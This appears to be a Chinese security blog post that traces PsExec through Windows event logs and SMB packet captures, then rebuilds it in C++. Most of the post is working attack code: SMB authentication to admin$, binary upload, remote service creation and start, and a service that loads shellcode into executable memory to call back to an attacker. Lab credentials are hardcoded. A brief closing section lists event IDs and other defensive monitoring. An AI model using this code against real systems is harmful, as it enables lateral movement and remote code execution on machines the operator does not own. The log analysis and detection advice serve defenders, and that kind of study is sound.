0x01 Psexec

Psexec被编写的初衷是为了方便服务器管理员管理大量的机器而开发的,但由于它的便捷,同时也被黑客使用。

相信很多人都用过Psexec这款工具了,它由Sysinternals网站提供,Sysinternals这个网站由Mark Russinovich于1996年创建,用于托管他的高级系统实用程序和技术信息。

下载地址:https://docs.microsoft.com/en-us/sysinternals/downloads/psexec

高级用法:https://www.itprotoday.com/compute-engines/psexec

0x02 Psexec的执行原理

为了清楚的了解它的执行原理,我们先从日志看起。

环境:

  • Windows 2008 R2 X64 → 192.168.3.130(以下简称Win2008)
  • Kali Linux 2019.4 → 192.168.3.145(以下简称Kali)
  • Windows 10 → 192.168.3.1(以下简称Win10)

下载SysinternalsSuite: https://download.sysinternals.com/files/SysinternalsSuite.zip

首先在Windows 10上对Windows 2008 R2 X64这台机器进行Psexec

.\PsExec.exe \\192.168.3.130 -u administrator -p 123456 cmd

2020-04-01-14-28-01

查看安全日志

打开Win2008日志查看器,先查看安全(Security)日志:

2020-04-01-14-28-34

从日志查看器能够看到产生了多个安全审核日志,事件ID:4624,并且能够看到来源IP以及计算机名。

认证类型NTLM:

2020-04-01-14-28-52

接着,还有事件ID为4648的日志,该条目的解释是:

在进程尝试通过显式指定帐户的凭据来登录该帐户时生成此事件。这通常发生在批量类型的配置中(例如计划任务) 或者使用 RUNAS 命令时。

2020-04-01-14-29-07

可以看到很明显的PSEXECSVC.exe这个程序被启动。

目前可以猜测:先进行Windows 认证,然后产生PSEXESVC.exe并启动。

查看系统日志

2020-04-01-14-29-20

事件ID:7045向系统报告了一个名为“PSEXESVC”的服务被安装,同时紧接着事件ID:7036报告“PSEXESVC服务已经启动”。

2020-04-01-14-29-34

通过事件ID报告的顺序,我们大致了解了PsEXEC的动作。

  1. 事件ID:4624
  2. 事件ID:4648
  3. 事件ID:7045
  4. 事件ID:7036

当PsExec执行exit退出交互式命令行后,会向系统报告事件ID:4634注销事件、事件ID:7036 PSEXESVC服务停止。

0x03 从网络分析Psexec利用过程

2020-04-01-14-30-06

这里我使用Wireshark抓包工具,捕获了整个Psexec建立网络连接到exit退出的整个过程。

认证大致流程:

  1. 192.168.3.1向192.168.3.130 进行三次握手
  2. 192.168.3.1向192.168.3.130 协商认证方式
  3. 192.168.3.1向192.168.3.130 发送 NTLMSSP_NEGOTIATE
  4. 192.168.3.130向192.168.3.1 发送 NTLMSSP_CHANLLENGE
  5. 192.168.3.1向192.168.3.130 发送 NTLMSSP_AUTH
  6. 192.168.3.130向192.168.3.1 发送 ACCEPT-COMPLETED,至此完成NTLMSSP认证

接着向\\192.168.3.130\ADMIN$写入PSEXESVC.exe:

2020-04-01-14-30-37

在SMBV2传输的过程中,文件内容并没有进行加密,可以直接找到DOS头:

2020-04-01-14-30-53

其开始的标志字为“MZ”(MarkZbikowski,他是DOS操作系统的开发者之一),所以称它为“DOS MZ头”。

文件传输后,Psexec会调用OpenServiceManager 来安装服务”PSEXESVC”:

2020-04-01-14-31-14

2020-04-01-14-31-20

PSEXESVC服务启动后会与PsExec.exe构建一个管道进行传输数据(还是走SMB V2协议):

The Psexesvc service creates a named pipe, psexecsvc, to which PsExec connects and sends commands that tell the service on the remote system which executable to launch and which options you’ve specified. If you specify the -d (don’t wait) switch, the service exits after starting the executable; otherwise, the service waits for the executable to terminate, then sends the exit code back to PsExec for it to print on the local console.

2020-04-01-14-33-01

到这里我想已经差不多足够我们实现一个PsExec了,大致过程如下:

  1. 编写PsEXESVC服务程序
  2. 连接SMB共享
  3. 上传文件到共享目录
  4. 创建服务
  5. 启动服务
  6. 停止服务
  7. 删除服务
  8. 删除文件

经过搜集资料,我发现主要有以下知识点:

  1. SMB共享的连接与认证
  2. SMB共享的文件操作
  3. 管理远程计算机服务
  4. 编写服务程序

0x04 连接SMB共享

应用程序可以调用WNetAddConnection函数将本地设备连接到网络资源,成功的连接是持久的,这意味着系统在后续的登录操作期间会自动恢复连接。

DWORD WNetAddConnection2W(
  LPNETRESOURCEW lpNetResource, // 指定建议的连接的详细信息
  LPCWSTR        lpPassword, // 用户名
  LPCWSTR        lpUserName, // 密码
  DWORD          dwFlags // 连接选项
);

在这里有详细的参数说明:https://docs.microsoft.com/zh-cn/windows/win32/api/winnetwk/nf-winnetwk-wnetaddconnection2w

返回值:

如果函数成功,则返回值为NO_ERROR

OK,接下来我们创建一个Windows控制台应用程序,我这里使用的是Visual Studio 2019

2020-04-01-14-33-54

创建一个名字叫Psexec的项目:

2020-04-01-14-34-09

紧接着就可以写具体的实现代码了。

DWORD ConnectSMBServer(LPCWSTR lpwsHost, LPCWSTR lpwsUserName, LPCWSTR lpwsPassword)
{
    // 用于存放SMB共享资源格式
    PWCHAR lpwsIPC = new WCHAR[MAX_PATH]; 
    DWORD dwRetVal; // 函数返回值
    NETRESOURCE nr; // 连接的详细信息
    DWORD dwFlags; // 连接选项

    ZeroMemory(&nr, sizeof(NETRESOURCE));
    swprintf(lpwsIPC, TEXT("\\\\%s\\admin$"), lpwsHost);
    nr.dwType = RESOURCETYPE_ANY; // 枚举所有资源
    nr.lpLocalName = NULL;
    nr.lpRemoteName = lpwsIPC; // 资源的网络名
    nr.lpProvider = NULL; 

    // 如果设置了此位标志,则操作系统将在用户登录时自动尝试恢复连接。
    dwFlags = CONNECT_UPDATE_PROFILE; 

    dwRetVal = WNetAddConnection2(&nr,lpwsPassword, lpwsUserName, dwFlags);
    if (dwRetVal == NO_ERROR) {
        // 返回NO_ERROR则成功
        wprintf(L"Connection added to %s\n", nr.lpRemoteName);
        return dwRetVal;
    }
    
    wprintf(L"WNetAddConnection2 failed with error: %u\n", dwRetVal);
    return -1;
}

测试过程:

2020-04-01-14-34-46

int wmain(int argc, wchar_t* argv[])
    {
        std::cout << "Hello World!\n";
        ConnectSMBServer(TEXT("192.168.3.130"), TEXT("Administrator"), TEXT("123456"));
    }

可以看到,传入对应的参数即可建立一个SMB连接。

2020-04-01-14-35-14

建立SMB连接后,我们需要继续编写一个通过SMB协议在远程服务器上创建文件的函数。

关于SMB上传文件

说到这里,可能有的朋友觉得实现这个需求会非常的复杂,但是经过我的假设与验证,发现实现起来并不难,在后来的日子里,我获得了PsExec的源代码后,我这个方法比它更加方便直接。

CIFS(Common Internet File System),它是Windows上的一个文件共享协议。

CIFS 可以使您达到以下功能:

  1. 访问服务器本地文件并读写这些文件
  2. 与其它用户一起共享一些文件块
  3. 在断线时自动恢复与网络的连接
  4. 使用统一码(Unicode)文件名:文件名可以使用任何字符集,而不局限于为英语或西欧语言设计的字符集。

通过CIFS协议我们才能够将网络上的文件共享映射为本地资源去访问,大家可能熟悉net use

但不真正了解背后的原理。既然能够将网络文件映射到本地,相当于构建了一个逻辑上的本地磁盘,进而推理出我们直接利用Windows文件相关的API来操作共享文件都是可行的。

BOOL CopyFile( 
        LPCTSTR lpExistingFileName, // 你要拷贝的源文件名 
        LPCTSTR lpNewFileName, // 你要拷贝的目标文件名 
        BOOL bFailIfExists // 如果目标已经存在,不拷贝(True)并返回False,覆盖目标(false)
    );

实现代码如下:

BOOL UploadFileBySMB(LPCWSTR lpwsSrcPath, LPCWSTR lpwsDstPath)
{
    DWORD dwRetVal;
    dwRetVal = CopyFile(lpwsSrcPath, lpwsDstPath, FALSE);
    return dwRetVal > 0 ? TRUE : FALSE;
}

是不是非常简单,它就像操作本地文件一样简单。

为了方便测试,我在本地创建了一个test.txt 文本文件,然后我把wmain 更改了一下:

int wmain(int argc, wchar_t* argv[])
{
    std::cout << "Hello World!\n";
    if (ConnectSMBServer(TEXT("192.168.3.130"), TEXT("Administrator"), TEXT("123456")) == 0) {
        BOOL bRetVal = FALSE;
        bRetVal=UploadFileBySMB(TEXT("C:\\Users\\Administrator\\test.txt"), TEXT("\\\\192.168.3.130\\admin$\\test.txt"));
        if (bRetVal) {
            std::cout << "Write Success !\n";
        }
        else {
            std::cout << GetLastError() << std::endl;
        }
    }
}

2020-04-01-14-36-24

在Win2008上的C:\Windows\查看:

2020-04-01-14-36-42

文件写入成功。

0x05 编写服务程序

Windows 服务被设计用于需要在后台运行的应用程序以及实现没有用户交互的任务,并且部分服务是以SYSTEM权限启动。为了编写服务程序,我们需要了解一些关于服务的概念。

服务控制管理器(SCM:Services Control Manager)是一个管理系统所有服务的进程。当 SCM 启动某个服务时,它等待某个进程的主线程来调用 StartServiceCtrlDispatcher 函数。将分派表传递给 StartServiceCtrlDispatcher。这将把调用进程的主线程转换为控制分派器。该分派器启动一个新线程,该线程运行分派表中每个服务的 ServiceMain 函数分派器还监视程序中所有服务的执行情况。然后分派器将控制请求从 SCM 传给服务。

ServiceMain 函数

该函数是服务的入口点。它运行在一个单独的线程当中,这个线程是由控制分派器创建的。ServiceMain 应该尽可能早早为服务注册控制处理器。这要通过调用 RegisterServiceCtrlHadler 函数来实现。

这里可以直接提供一个服务模板:

#include <Windows.h>
#include <stdio.h>  
// Windows 服务代码模板
////////////////////////////////////////////////////////////////////////////////////
// sc create Monitor binpath= Monitor.exe
// sc start Monitor
// sc delete Monitor
////////////////////////////////////////////////////////////////////////////////////
/**********************************************************************************/
////////////////////////////////////////////////////////////////////////////////////
// New-Service –Name Monitor –DisplayName Monitor –BinaryPathName "D:\Monitor\Monitor.exe" –StartupType Automatic
// Start-Service Monitor
// Stop-Service Monitor
////////////////////////////////////////////////////////////////////////////////////



#define SLEEP_TIME 5000                          /*间隔时间*/
#define LOGFILE "D:\\log.txt"              /*信息输出文件*/

SERVICE_STATUS ServiceStatus;  /*服务状态*/
SERVICE_STATUS_HANDLE hStatus; /*服务状态句柄*/

void  ServiceMain(int argc, char** argv);
void  CtrlHandler(DWORD request);
int   InitService();

int main(int argc, CHAR * argv[])
{
    WCHAR WserviceName[] = TEXT("Monitor");
    SERVICE_TABLE_ENTRY ServiceTable[2];
    ServiceTable[0].lpServiceName = WserviceName;
    ServiceTable[0].lpServiceProc = (LPSERVICE_MAIN_FUNCTION)ServiceMain;
    ServiceTable[1].lpServiceName = NULL;
    ServiceTable[1].lpServiceProc = NULL;
    StartServiceCtrlDispatcher(ServiceTable);

    return 0;
}

int WriteToLog(const char* str)
{
    FILE* pfile;
    fopen_s(&pfile, LOGFILE, "a+");
    if (pfile == NULL)
    {
        return -1;
    }
    fprintf_s(pfile, "%s\n", str);
    fclose(pfile);

    return 0;
}

/*Service initialization*/
int InitService()
{
    CHAR Message[] = "Monitoring started.";
    OutputDebugString(TEXT("Monitoring started."));
    int result;
    result = WriteToLog(Message);

    return(result);
}

/*Control Handler*/
void CtrlHandler(DWORD request)
{
    switch (request)
    {
    case SERVICE_CONTROL_STOP:
        
        WriteToLog("Monitoring stopped.");
        ServiceStatus.dwWin32ExitCode = 0;
        ServiceStatus.dwCurrentState = SERVICE_STOPPED;
        SetServiceStatus(hStatus, &ServiceStatus);
        return;
    case SERVICE_CONTROL_SHUTDOWN:
        WriteToLog("Monitoring stopped.");

        ServiceStatus.dwWin32ExitCode = 0;
        ServiceStatus.dwCurrentState = SERVICE_STOPPED;
        SetServiceStatus(hStatus, &ServiceStatus);
        return;
    default:
        break;
    }
    /* Report current status  */
    SetServiceStatus(hStatus, &ServiceStatus);
    return;
}

void ServiceMain(int argc, char** argv)
{
    WCHAR WserviceName[] = TEXT("Monitor");
    int error;
    ServiceStatus.dwServiceType =
        SERVICE_WIN32;
    ServiceStatus.dwCurrentState =
        SERVICE_START_PENDING;
    /*在本例中只接受系统关机和停止服务两种控制命令*/
    ServiceStatus.dwControlsAccepted =
        SERVICE_ACCEPT_SHUTDOWN |
        SERVICE_ACCEPT_STOP;
    ServiceStatus.dwWin32ExitCode = 0;
    ServiceStatus.dwServiceSpecificExitCode = 0;
    ServiceStatus.dwCheckPoint = 0;
    ServiceStatus.dwWaitHint = 0;
    hStatus = ::RegisterServiceCtrlHandler(
        WserviceName,
        (LPHANDLER_FUNCTION)CtrlHandler);
    if (hStatus == (SERVICE_STATUS_HANDLE)0)
    {

        WriteToLog("RegisterServiceCtrlHandler failed");
        return;
    }
    WriteToLog("RegisterServiceCtrlHandler success");
    /* Initialize Service   */
    error = InitService();
    if (error)
    {
        /* Initialization failed  */
        ServiceStatus.dwCurrentState =
            SERVICE_STOPPED;
        ServiceStatus.dwWin32ExitCode = -1;
        SetServiceStatus(hStatus, &ServiceStatus);
        return;
    }
    /*向SCM 报告运行状态*/
    ServiceStatus.dwCurrentState =
        SERVICE_RUNNING;
    SetServiceStatus(hStatus, &ServiceStatus);

    /*do something you want to do in this while loop*/
    MEMORYSTATUS memstatus;
    while (ServiceStatus.dwCurrentState ==
        SERVICE_RUNNING)
    {
        char buffer[16];
        GlobalMemoryStatus(&memstatus);
        int availmb = memstatus.dwAvailPhys / 1024 / 1024;
        sprintf_s(buffer, 100, "available memory is %dMB", availmb);
        int result = WriteToLog(buffer);
        if (result)
        {
            ServiceStatus.dwCurrentState = SERVICE_STOPPED;
            ServiceStatus.dwWin32ExitCode = -1;
            SetServiceStatus(hStatus,
                &ServiceStatus);
            return;
        }
        Sleep(SLEEP_TIME);
    }
    WriteToLog("service stopped");
    return;
}

源代码:https://github.com/Rvn0xsy/MyWin32CPP/blob/master/WindowsService.cpp

创建一个控制台应用程序,将源代码编译后就可以创建服务了,该服务会每隔5秒向D:\log.txt

写入信息。这里如果展开讲会花费不少时间,我直接把SERVICE_RUNNING 状态下的代码进行更改,使其执行Shellcode上线。

#include <Windows.h>
#include <stdio.h>  
// Windows 服务代码模板
////////////////////////////////////////////////////////////////////////////////////
// sc create Monitor binpath= Monitor.exe
// sc start Monitor
// sc delete Monitor
////////////////////////////////////////////////////////////////////////////////////
/**********************************************************************************/
////////////////////////////////////////////////////////////////////////////////////
// New-Service –Name Monitor –DisplayName Monitor –BinaryPathName "D:\Monitor\Monitor.exe" –StartupType Automatic
// Start-Service Monitor
// Stop-Service Monitor
////////////////////////////////////////////////////////////////////////////////////

unsigned char buf[] =
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
// ..............
"\x68\x00\x40\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff\xd5"
"\x57\x68\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c\x24\x0f\x85"
"\x70\xff\xff\xff\xe9\x9b\xff\xff\xff\x01\xc3\x29\xc6\x75\xc1"
"\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5";

SERVICE_STATUS ServiceStatus;  /*服务状态*/
SERVICE_STATUS_HANDLE hStatus; /*服务状态句柄*/

void  ServiceMain(int argc, char** argv);
void  CtrlHandler(DWORD request);
int   InitService();

int main(int argc, CHAR* argv[])
{
    WCHAR WserviceName[] = TEXT("Monitor");
    SERVICE_TABLE_ENTRY ServiceTable[2];
    ServiceTable[0].lpServiceName = WserviceName;
    ServiceTable[0].lpServiceProc = (LPSERVICE_MAIN_FUNCTION)ServiceMain;
    ServiceTable[1].lpServiceName = NULL;
    ServiceTable[1].lpServiceProc = NULL;
    StartServiceCtrlDispatcher(ServiceTable);
    return 0;
}

/*Service initialization*/
int InitService()
{
    return(0);
}

/*Control Handler*/
void CtrlHandler(DWORD request)
{
    switch (request)
    {
    case SERVICE_CONTROL_STOP:

        
        ServiceStatus.dwWin32ExitCode = 0;
        ServiceStatus.dwCurrentState = SERVICE_STOPPED;
        SetServiceStatus(hStatus, &ServiceStatus);
        return;
    case SERVICE_CONTROL_SHUTDOWN:
        ServiceStatus.dwWin32ExitCode = 0;
        ServiceStatus.dwCurrentState = SERVICE_STOPPED;
        SetServiceStatus(hStatus, &ServiceStatus);
        return;
    default:
        break;
    }
    /* Report current status  */
    SetServiceStatus(hStatus, &ServiceStatus);
    return;
}

void ServiceMain(int argc, char** argv)
{
    WCHAR WserviceName[] = TEXT("Monitor");
    int error;
    ServiceStatus.dwServiceType =
        SERVICE_WIN32;
    ServiceStatus.dwCurrentState =
        SERVICE_START_PENDING;
    /*在本例中只接受系统关机和停止服务两种控制命令*/
    ServiceStatus.dwControlsAccepted =
        SERVICE_ACCEPT_SHUTDOWN |
        SERVICE_ACCEPT_STOP;
    ServiceStatus.dwWin32ExitCode = 0;
    ServiceStatus.dwServiceSpecificExitCode = 0;
    ServiceStatus.dwCheckPoint = 0;
    ServiceStatus.dwWaitHint = 0;
    hStatus = ::RegisterServiceCtrlHandler(
        WserviceName,
        (LPHANDLER_FUNCTION)CtrlHandler);
    if (hStatus == (SERVICE_STATUS_HANDLE)0)
    {
        return;
    }
    /* Initialize Service   */
    error = InitService();
    if (error)
    {
        /* Initialization failed  */
        ServiceStatus.dwCurrentState = SERVICE_STOPPED;
        ServiceStatus.dwWin32ExitCode = -1;
        SetServiceStatus(hStatus, &ServiceStatus);
        return;
    }

    // 在这里执行Shellcode
    LPVOID Memory = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    memcpy(Memory, buf, sizeof(buf));
    ((void(*)())Memory)();

    /*向SCM 报告运行状态*/
    ServiceStatus.dwCurrentState = SERVICE_RUNNING;
    SetServiceStatus(hStatus, &ServiceStatus);

    /*do something you want to do in this while loop*/
    MEMORYSTATUS memstatus;
    while (ServiceStatus.dwCurrentState == SERVICE_RUNNING)
    {
        Sleep(5000);
    }
    return;
}

0x06 使用Windows API远程管理服务

前面说到,Windows的服务都由服务控制管理器(SCM:Services Control Manager)进行管理,我们可以通过Windows API去连接SCM,当服务程序上传到服务器上以后,创建一个服务,把binpath指向服务程序的路径,再对服务进行启动就可以达到任意代码执行的效果。

注意:远程连接SCM还是走的SMB协议 445端口,SMB V2可以明显看到流量内容。

SC_HANDLE OpenSCManagerA(
  LPCSTR lpMachineName, // 目标计算机的名称。
  LPCSTR lpDatabaseName, // 服务控制管理器数据库的名称
  DWORD  dwDesiredAccess // 访问权限列表
);

如果当前用户在连接到另一台计算机上的服务时没有适当的访问权限,则 OpenSCManager函数调用将失败。若要远程连接到服务,请在调用OpenSCManager之前使用LOGON32_LOGON_NEW_CREDENTIALS 调用LogonUser函数,然后调用ImpersonateLoggedOnUser

这里需要注意的是,通过WNetAddConnection2认证后,再去调用OpenSCManager是不需要认证的。

BOOL CreateServiceWithSCM(LPCWSTR lpwsSCMServer, LPCWSTR lpwsServiceName, LPCWSTR lpwsServicePath)
{
    std::wcout << TEXT("Will Create Service ") << lpwsServiceName << std::endl;
    SC_HANDLE hSCM;
    SC_HANDLE hService;
    SERVICE_STATUS ss;
    // GENERIC_WRITE = STANDARD_RIGHTS_WRITE | SC_MANAGER_CREATE_SERVICE | SC_MANAGER_MODIFY_BOOT_CONFIG
    hSCM = OpenSCManager(lpwsSCMServer, SERVICES_ACTIVE_DATABASE, SC_MANAGER_ALL_ACCESS);
    if (hSCM == NULL) {
        std::cout << "OpenSCManager Error: " << GetLastError() << std::endl;
        return -1;
    }
    
    hService = CreateService(
        hSCM, // 服务控制管理器数据库的句柄
        lpwsServiceName, // 要安装的服务的名称
        lpwsServiceName, // 用户界面程序用来标识服务的显示名称
        GENERIC_ALL, // 访问权限
        SERVICE_WIN32_OWN_PROCESS, // 与一个或多个其他服务共享一个流程的服务
        SERVICE_DEMAND_START, // 当进程调用StartService函数时,由服务控制管理器启动的服务 。
        SERVICE_ERROR_IGNORE, // 启动程序将忽略该错误并继续启动操作
        lpwsServicePath, // 服务二进制文件的标准路径
        NULL,
        NULL,
        NULL,
        NULL,
        NULL);
    if (hService == NULL) {
        std::cout << "CreateService Error: " << GetLastError() << std::endl;
        return -1;
    }
    std::wcout << TEXT("Create Service Success : ") << lpwsServicePath << std::endl;
    hService = OpenService(hSCM, lpwsServiceName, GENERIC_ALL);
    if (hService == NULL) {
        std::cout << "OpenService Error: " << GetLastError() << std::endl;
        return -1;
    }
    std::cout << "OpenService Success!" << std::endl;
    
    StartService(hService, NULL, NULL);
    
    return 0;
}

获得SCM句柄后调用CreateService 创建一个服务,最终调用StartService 完成整个服务的创建、启动过程。

效果如下:

2020-04-01-14-39-18

至此,整个Psexec工具原理分析与实践完成。

0x07 PsExec完整代码

代码我上传到了Github:https://github.com/Rvn0xsy/MyWin32CPP/blob/master/Psexec.cpp

// Psexec.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
//
#include <iostream>
#include <WinSock2.h>
#include <Windows.h>
#include <winnetwk.h>

#pragma comment(lib, "ws2_32")   
#pragma comment(lib, "Mpr.lib")
#pragma comment(lib,"Advapi32.lib")

DWORD ConnectSMBServer(LPCWSTR lpwsHost, LPCWSTR lpwsUser, LPCWSTR lpwsPassword);
BOOL UploadFileBySMB(LPCWSTR lpwsSrcPath, LPCWSTR lpwsDstPath);
BOOL CreateServiceWithSCM(LPCWSTR lpwsSCMServer, LPCWSTR lpwsServiceName, LPCWSTR lpwsServicePath);

int wmain(int argc, wchar_t* argv[])
{
    std::cout << "[ PS|> :) Hello PsExec By Rvn0xsy !" << std::endl;

    LPCWSTR lpwsHost = TEXT("192.168.3.130"); // 目标机器地址
    LPCWSTR lpwsUserName = TEXT("Administrator"); // 账号
    LPCWSTR lpwsPassword = TEXT("123456"); // 密码
    LPCWSTR lpwsSrcPath = TEXT("C:\\Users\\Administrator\\NewPsexec.exe"); // 本地文件路径
    LPCWSTR lpwsDstPath = TEXT("\\\\192.168.3.130\\admin$\\NewPsexec.exe"); // 远程文件路径
    LPCWSTR lpwsServiceName = TEXT("NewPsexec"); // 服务名称
    LPCWSTR lpwsServicePath = TEXT("%SystemRoot%\\NewPsexec.exe"); // 目标机器落地位置

    if (ConnectSMBServer(lpwsHost, lpwsUserName, lpwsPassword) == 0) {
        BOOL bRetVal = FALSE;
        bRetVal=UploadFileBySMB(lpwsSrcPath, lpwsDstPath);
        if (bRetVal) {
            std::cout << "Upload Success !" << std::endl;
            // 如果上传成功即可创建服务
            CreateServiceWithSCM(lpwsHost, lpwsServiceName, lpwsServicePath);
        }
        else {
            std::cout << "Upload Failed ! Error : "<< GetLastError() << std::endl;
            return GetLastError();
        }
    }
}

DWORD ConnectSMBServer(LPCWSTR lpwsHost, LPCWSTR lpwsUserName, LPCWSTR lpwsPassword)
{
    // 用于存放SMB共享资源格式
    PWCHAR lpwsIPC = new WCHAR[MAX_PATH]; 
    DWORD dwRetVal; // 函数返回值
    NETRESOURCE nr; // 连接的详细信息
    DWORD dwFlags; // 连接选项

    ZeroMemory(&nr, sizeof(NETRESOURCE));
    swprintf(lpwsIPC, MAX_PATH,TEXT("\\\\%s\\admin$"), lpwsHost);
    nr.dwType = RESOURCETYPE_ANY; // 枚举所有资源
    nr.lpLocalName = NULL;
    nr.lpRemoteName = lpwsIPC; // 资源的网络名
    nr.lpProvider = NULL; 

    // 如果设置了此位标志,则操作系统将在用户登录时自动尝试恢复连接。
    dwFlags = CONNECT_UPDATE_PROFILE; 

    dwRetVal = WNetAddConnection2(&nr,lpwsPassword, lpwsUserName, dwFlags);
    if (dwRetVal == NO_ERROR) {
        // 返回NO_ERROR则成功
        wprintf(L"Connection added to %s\n", nr.lpRemoteName);
        return dwRetVal;
    }
    
    wprintf(L"WNetAddConnection2 failed with error: %u\n", dwRetVal);
    return -1;
}

BOOL UploadFileBySMB(LPCWSTR lpwsSrcPath, LPCWSTR lpwsDstPath)
{
    DWORD dwRetVal;
    dwRetVal = CopyFile(lpwsSrcPath, lpwsDstPath, FALSE);
    return dwRetVal > 0 ? TRUE : FALSE;
}

BOOL CreateServiceWithSCM(LPCWSTR lpwsSCMServer, LPCWSTR lpwsServiceName, LPCWSTR lpwsServicePath)
{
    std::wcout << TEXT("Will Create Service ") << lpwsServiceName << std::endl;
    SC_HANDLE hSCM;
    SC_HANDLE hService;
    SERVICE_STATUS ss;
    // GENERIC_WRITE = STANDARD_RIGHTS_WRITE | SC_MANAGER_CREATE_SERVICE | SC_MANAGER_MODIFY_BOOT_CONFIG
    hSCM = OpenSCManager(lpwsSCMServer, SERVICES_ACTIVE_DATABASE, SC_MANAGER_ALL_ACCESS);
    if (hSCM == NULL) {
        std::cout << "OpenSCManager Error: " << GetLastError() << std::endl;
        return -1;
    }
    
    hService = CreateService(
        hSCM, // 服务控制管理器数据库的句柄
        lpwsServiceName, // 要安装的服务的名称
        lpwsServiceName, // 用户界面程序用来标识服务的显示名称
        GENERIC_ALL, // 访问权限
        SERVICE_WIN32_OWN_PROCESS, // 与一个或多个其他服务共享一个流程的服务
        SERVICE_DEMAND_START, // 当进程调用StartService函数时,由服务控制管理器启动的服务 。
        SERVICE_ERROR_IGNORE, // 启动程序将忽略该错误并继续启动操作
        lpwsServicePath, // 服务二进制文件的标准路径
        NULL,
        NULL,
        NULL,
        NULL,
        NULL);
    if (hService == NULL) {
        std::cout << "CreateService Error: " << GetLastError() << std::endl;
        return -1;
    }
    std::wcout << TEXT("Create Service Success : ") << lpwsServicePath << std::endl;
    hService = OpenService(hSCM, lpwsServiceName, GENERIC_ALL);
    if (hService == NULL) {
        std::cout << "OpenService Error: " << GetLastError() << std::endl;
        return -1;
    }
    std::cout << "OpenService Success!" << std::endl;
    
    StartService(hService, NULL, NULL);
    
    return 0;
}

0x08 总结PsExec防御

  1. 如果内网大量机器使用SMB V2,可从网络协议上进行分析,着重监控OpenSCManager
  2. 终端上进行事件监控如:创建服务、创建文件,根据HASH匹配能有效阻绝一部分攻击
  3. 服务器采用强口令,内网通用密码的情况太严重
  4. 在终端上日志着重采集以下事件ID
    • 事件ID:4624
    • 事件ID:4648
    • 事件ID:7045
    • 事件ID:7036

我的研究与总结可能不够严谨,欢迎斧正。